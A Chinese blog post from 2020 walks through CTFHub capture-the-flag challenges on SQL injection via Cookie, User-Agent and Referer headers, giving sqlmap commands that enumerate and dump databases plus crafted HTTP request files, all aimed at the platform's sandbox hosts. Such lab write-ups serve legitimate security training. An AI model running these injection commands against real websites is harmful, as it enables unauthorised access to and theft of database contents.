Fork me on GitHub

CTFHub题解-技能树-Web-SQL注入(Cookie注入、UA注入、Refer注入)【三】

CTFHub题解-技能树-Web(web工具配置-SQL注入)
 

 

 

 
Cookie注入
 
 
1.知识点
 
  cookie注入的原理是:就要修改cookie的值,我们是将提交的参数已cookie方式提交了,而一般的注入我们是使用get或者post方式提交,get方式提交就是直接在网址后面加上需要注入的语句,post则是通过表单方式,get和post的不同之处就在于一个我们可以通过IE地址栏处看到我们提交的参数,而另外一个却不能。
 
  相对post和get方式注入来说,cookie注入就要稍微繁琐一些了,要进行cookie注入,我们首先就要修改cookie,这里就需要使用到Javascript语言了。
 
  cookie注入的两个必须条件:
    条件1是:程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤。
    条件2是:在条件1的基础上还需要程序对提交数据获取方式是直接request("xxx")的方式,未指明使用request对象的具体方法进行获取,也就是说用request这个方法的时候获取的参数可以是是在URL后面的参数也可以是cookie里面的参数这里没有做筛选,之后的原理就像我们的sql注入一样了。
 
cookie注入分为以下几个阶段:
   1. 判断是不是注入点
   2.得到字段总数
   3.查选表名
       4.查选列名
       5.查内容
 
当然,sqlmap对于像笔者这样的小白来说是更好用的~
 
命令格式就是这样(爆库):
 python sqlmap.py -u "http://xxx.com" --cookie "id=x" --dbs --level 2 
 
2.题解
 
 
python sqlmap.py -u "http://challenge-38d00693d21d6ccc.sandbox.ctfhub.com:10080" --cookie "id=1" --dbs --level 2
 
python sqlmap.py -u "http://challenge-38d00693d21d6ccc.sandbox.ctfhub.com:10080" --cookie "id=1" -D sqli --tables --level 2
 
python sqlmap.py -u "http://challenge-38d00693d21d6ccc.sandbox.ctfhub.com:10080" --cookie "id=1" -D sqli -T frkadyqcec --columns --dump --level 2

 

 
 
 
 
 
 
 
 
 
 
 

 
 
 
 
 
UA注入
 
1.知识点
 
 User Agent 中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。
 
笔者还没用过手工注入的方法来做UA注入,因此笔者下面介绍用sqlmap对UA注入的命令用法(详细方法见题解)。
 
 
2.题解
 
 
 
 
方法1:
 
将post包中的数据粘贴成一个txt,针对该txt进行爆破。
 
命令(爆库):
 
 python sqlmap.py -r "xxx.txt" --level 3 --dbs 
 
 
开启火狐浏览器的代理~
与burpsuite配合使用。
 
burpsuite抓个包看看~
 
 
 
 
 
python sqlmap.py -r "UAsql.txt" --level 3 --dbs
 
python sqlmap.py -r "UAsql.txt" --level 3 -D sqli --tables
 
python sqlmap.py -r "UAsql.txt" --level 3 -D sqli -T ztoczxhmwd --columns --dump

 

 
 
 
 
 
 
 
 
 
 
方法2:
 
用-u命令
 
python sqlmap.py -u http://challenge-0db4dfe24728939b.sandbox.ctfhub.com:10080/  --level 3 --dbs
 
python sqlmap.py -u http://challenge-0db4dfe24728939b.sandbox.ctfhub.com:10080/  --level 3 -D sqli --tables
 
python sqlmap.py -u http://challenge-0db4dfe24728939b.sandbox.ctfhub.com:10080/  --level 3 -D sqli -T ztoczxhmwd --columns --dump

 

 
 
 
 
 
 
 
哭了...不知道是不是我操作参数问题...续了三次10分钟环境才跑出来的flag.......
 
小伙伴们跑的时候,一定要记得看一下环境剩余时间,不然....还得重开环境.....
qwq~
 
 
 
跑出来的flag是一样哒~~~
 
 
 
 
Refer注入
 
 
1.知识点
 
sqlmap可以在请求中伪HTTP的Referer头,当--level参数大于等于3时,会尝试进行refer注入
 
 sqlmap.py -r xxx.txt -p referer --level 5  
 
2.题解
 
 
先用burpsuite抓个包看看~
 
 
发现没有referer参数,刚好题目里面提示,请在referer输入ID~
 
 referer: 1 
 
除此之外,还需要在GET处把题目的url补全哦~
不然会引起类似这种报错的。
 
 
 
 
 
 
 
 
 
GET处把题目的url补全具体见下面代码:
 
 

GET http://challenge-fd30069358ef2890.sandbox.ctfhub.com:10080/ HTTP/1.1
Host: challenge-fd30069358ef2890.sandbox.ctfhub.com:10080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Connection: close
referer: 1

 

 
 
 
然后把它们粘进一个空白的txt里,自己随意命名~
 
放在你的 sqlmap.py 的目录里。
 
 
 
txt准备好就可以用sqlmap工具来跑啦~
 
 
python sqlmap.py -r "refersql.txt" -p referer --level 5 --dbs
 
python sqlmap.py -r "refersql.txt" -p referer --level 5 -D sqli --tables
 
python sqlmap.py -r "refersql.txt" -p referer --level 5 -D sqli -T ugxucfilud --columns --dump

 

 
 
 
 
 
 
补充来啦~
 
有小伙伴私信我说,这种方法跑不出来哟~
笔者重开了环境,发现的确不行啦!!!
 
于是笔者在此更新另一种“姿势”~
 
用post包~
 
首先打开火狐浏览器,安装好hackbar插件(记得用v2版本),然后f12将它显示出来~
根据下图操作:
 
 
 
 

 

 

然后设置好代理,抓包~
 

 

 然后发送到repeater模块:

 

 

 

然后把左边的全选粘贴到txt里~

 

POST / HTTP/1.1
Host: challenge-cd77b777b37ec971.sandbox.ctfhub.com:10080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Origin: http://challenge-cd77b777b37ec971.sandbox.ctfhub.com:10080
Connection: close
Referer: http://challenge-cd77b777b37ec971.sandbox.ctfhub.com:10080/
Upgrade-Insecure-Requests: 1
Referer: 1

命令:

 

 

python3 sqlmap.py -r "refersql.txt" -p referer --level 5 --dbs

python3 sqlmap.py -r "refersql.txt" -p referer --level 5 -D sqli --tables
 
python3 sqlmap.py -r "refersql.txt" -p referer --level 5 -D sqli -T ugxucfilud --columns --dump

 

 

 

 

 

 

 这样就可以出来啦~后续的命令是一样的哦~

图我就不粘啦~

 

如果遇到问题,欢迎私信我哦~

 

 

 
 
 
 
 

 

 

 
 
SQL注入部分平台放出来的题目已经全部做完啦~
 
sqlmap真是太好用了...
 
写出sqlmap工具的大佬也太棒了叭!!!
 
后续平台更新题目的话,笔者也会持续更新哒~
 
 
 
 
 
参考资料:
 
http://www.hackdig.com/?04/hack-3124.htm
https://www.cnblogs.com/liujizhou/p/11768405.html
https://www.cnblogs.com/w10234/p/5522280.htm
 
 
 
 
 
posted @ 2020-03-14 17:27  0yst3r  阅读(4576)  评论(2编辑  收藏  举报
返回顶部